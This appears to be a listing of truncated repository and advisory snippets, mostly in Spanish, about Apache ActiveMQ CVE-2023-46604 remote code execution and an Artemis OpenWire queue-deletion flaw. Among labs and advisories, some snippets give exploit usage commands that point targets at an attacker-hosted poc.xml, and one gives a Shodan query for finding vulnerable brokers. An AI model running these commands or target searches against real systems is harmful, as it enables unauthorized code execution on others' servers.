CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudo-Shell Este script aprovecha CVE-2023046604 Apache ActiveMQ para generar un pseudo shell. La vulnerabilidad permite la ejecución remota de código debido a una deserialización insegura dentro del protocolo OpenWire. Descripción CVE-2023-46604 es una vulnerabilidad de...

CVE-2023-46604

CVE-2023-46604 Este repositorio contiene un script de explotación y un archivo XML de Prueba de Concepto PoC para la vulnerabilidad CVE-2023-46604 que afecta a Apache ActiveMQ. La vulnerabilidad permite la ejecución remota de código debido a prácticas inseguras de deserialización en el protocolo...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Referencia del proyecto Este proyecto es una versión python del exp, reescrita a partir del exp del proyecto https://github.com/X1r0z/ActiveMQ-RCE. Uso python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 El parámetro -p tiene como valor predeterminado el puerto po...

CVE-2023-46604

Resumen Técnico del Ataque: CVE-2023-46604 El script explota una vulnerabilidad de deserialización insegura en Apache ActiveMQ CVE-2023-46604 para lograr la ejecución remota de código en el servidor objetivo. Descripción del Proceso de Explotación Objetivo de la Vulnerabilidad: La vulnerabilidad...

CVE-2023-46604-LAB

CVE-2023-46604 – Apache ActiveMQ RCE OpenWire Protocol This repository documents a lab environment used to understand and detect the CVE-2023-46604 vulnerability affecting Apache ActiveMQ. The goal of this project: Understand how the exploit behaves at the protocol level Capture malicious OpenWir...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-46604 Descargo de responsabilidad Este repositorio contiene código de prueba de concepto para CVE-2023-466064 y está destinado estrictamente a fines educativos. Los autores y colaboradores no respaldan ninguna actividad ilegal. La información aquí presentada es para fines...

ActiveMQ-CVE-2023-46604

Validador Seguro de CVE-2023-46604 para ActiveMQ Un validador de un solo archivo y no destructivo para Apache ActiveMQ CVE-2023-46604. Inicia su propio servidor de callback HTTP, genera XML de Spring específico para el objetivo en memoria, envía el paquete OpenWire manipulado, correlaciona los...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ y OpenWire 1 Descripción general de Apache ActiveMQ y OpenWire ActiveMQ es un broker que incluye clientes compatibles con JMS y permite la comunicación entre sistemas que utilizan diversos lenguajes, no solo Java. También es un servidor de mensajería de código...

CVE-2023-46604

CVE-2023-46604 Exploit para CVE-2023-46604 Esta herramienta ayuda a explotar esta vulnerabilidad. Consulta de Shodan para encontrar el objetivo: product:"ActiveMQ" port:"61616" Uso de la herramienta: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- singl...

OpenWire-CVE-2023-46604-Investigation

Investigación de OpenWire-CVE-2023-46604 Laboratorio OpenWire Durante mi turno como Analista de Centro de Operaciones de Seguridad SOC de Nivel 2, recibí una escalación de un analista de Nivel 1 sobre un servidor de acceso público que había sido observado comunicándose con múltiples direcciones I...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

Missing Authentication for Critical Function

Overview org.apache.artemis:artemis-jakarta-openwire-protocol is a To support OpenWire clients from an embedded broker deployed in a Jakarta environment e.g. Spring Boot 3 Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire...

Missing Authentication for Critical Function

Overview org.apache.activemq:artemis-openwire-protocol is a package for activemq. Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire RemoveSubscriptionInfo command in the protocol handling. An attacker can trigger unauthorized deletio...

Missing Authentication for Critical Function

Overview Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire RemoveSubscriptionInfo command in the protocol handling. An attacker can trigger unauthorized deletion of a queue by sending a crafted command before authentication and...

Missing Authentication for Critical Function

Overview Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire RemoveSubscriptionInfo command in the protocol handling. An attacker can trigger unauthorized deletion of a queue by sending a crafted command before authentication and...

CVE-2026-67593

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

CVE-2026-67593

An unauthenticated network attacker can delete arbitrary durable queues on an Apache Artemis broker (or Apache ActiveMQ Artemis ) with the OpenWire protocol enabled. The vulnerability exists because the processRemoveSubscription() method executes pre-authentication without authorization checks, u...

CVE-2026-67593 Apache Artemis, Apache Artemis, Apache ActiveMQ Artemis, Apache ActiveMQ Artemis: Pre-authentication Openwire protocol handling can result in queue deletion

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

EUVD-2026-75245

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...